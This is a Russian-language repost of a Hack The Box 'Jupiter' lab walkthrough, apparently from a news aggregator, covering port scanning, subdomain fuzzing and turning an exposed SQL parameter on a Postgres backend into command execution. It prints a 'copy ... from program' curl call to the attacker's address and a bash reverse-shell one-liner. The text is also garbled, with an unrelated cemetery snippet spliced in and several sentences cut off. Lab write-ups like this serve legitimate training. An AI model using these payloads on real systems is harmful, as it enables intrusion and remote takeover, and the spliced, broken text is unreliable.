Категория > Новости > HTB Jupiter. Выполняем произвольный код с помощью Jupyter и SatTrack - «Новости»
HTB Jupiter. Выполняем произвольный код с помощью Jupyter и SatTrack - «Новости»24-10-2023, 00:00. Автор: Егор |
Hack The Box. Уровень ее сложности — средний.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем IP-адрес машины в 10.10.11.216 jupiter.htb И запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Читайте также - Это крупное кладбище, площадь которого составляет 305 гектаров. Здесь можно получить участок бесплатно от государства, если встать в очередь. Есть также часть территории, предназначенная для погребения военных - северное кладбище санкт. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Сканер нашел два открытых порта:
При таком выборе начинать нужно с изучения сайта. Главная страница сайта Точка входаНа самом сайте ничего интересного не находим, поэтому попробуем поискать поддомены. Справка: сканирование веба c ffufОдно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB. Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
Место перебора помечается словом FUZZ. Запускаем сканирование, перечислив все нужные параметры: ffuf -uhttp://jupiter.htb -wsubdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.jupiter.htb' В вывод попадают абсолютно все варианты из списка, а значит, будем использовать фильтр ffuf -uhttp://jupiter.htb -wsubdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.jupiter.htb' -fs 178 Находим новый поддомен 10.10.11.216 jupiter.htb kiosk.jupiter.htb Все действия я произвожу через Burp, поэтому, проверив Burp History, сразу обратил внимание на то, что используется API и в параметре select count(parent) from moons where parent = 'Saturn'; Это явная точка входа, попробуем воспользоваться ей. Точка опорыС точки зрения пентестера, Postgres хорош тем, что может дать выполнение команд в контексте пользователя‑службы. Механизм простой: создаем таблицу и заполняем ее выводом выполненной команды. С помощью Burp Repeater отправляем SQL-запрос для создания таблицы. create table cmd_exec(cmd_output text); Никаких ошибок нам не вернули, поэтому запускаем локальный веб‑сервер на основе Python и выполняем на него тестовый запрос с удаленного сервера при помощи curl. copy cmd_exec from program 'curl http://10.10.14.188/test_rce'; Получается, у нас есть RCE, поэтому запускаем листенер ( bash -i >& /dev/tcp/10.10.14.188/4321 0>&1 Перейти обратно к новости |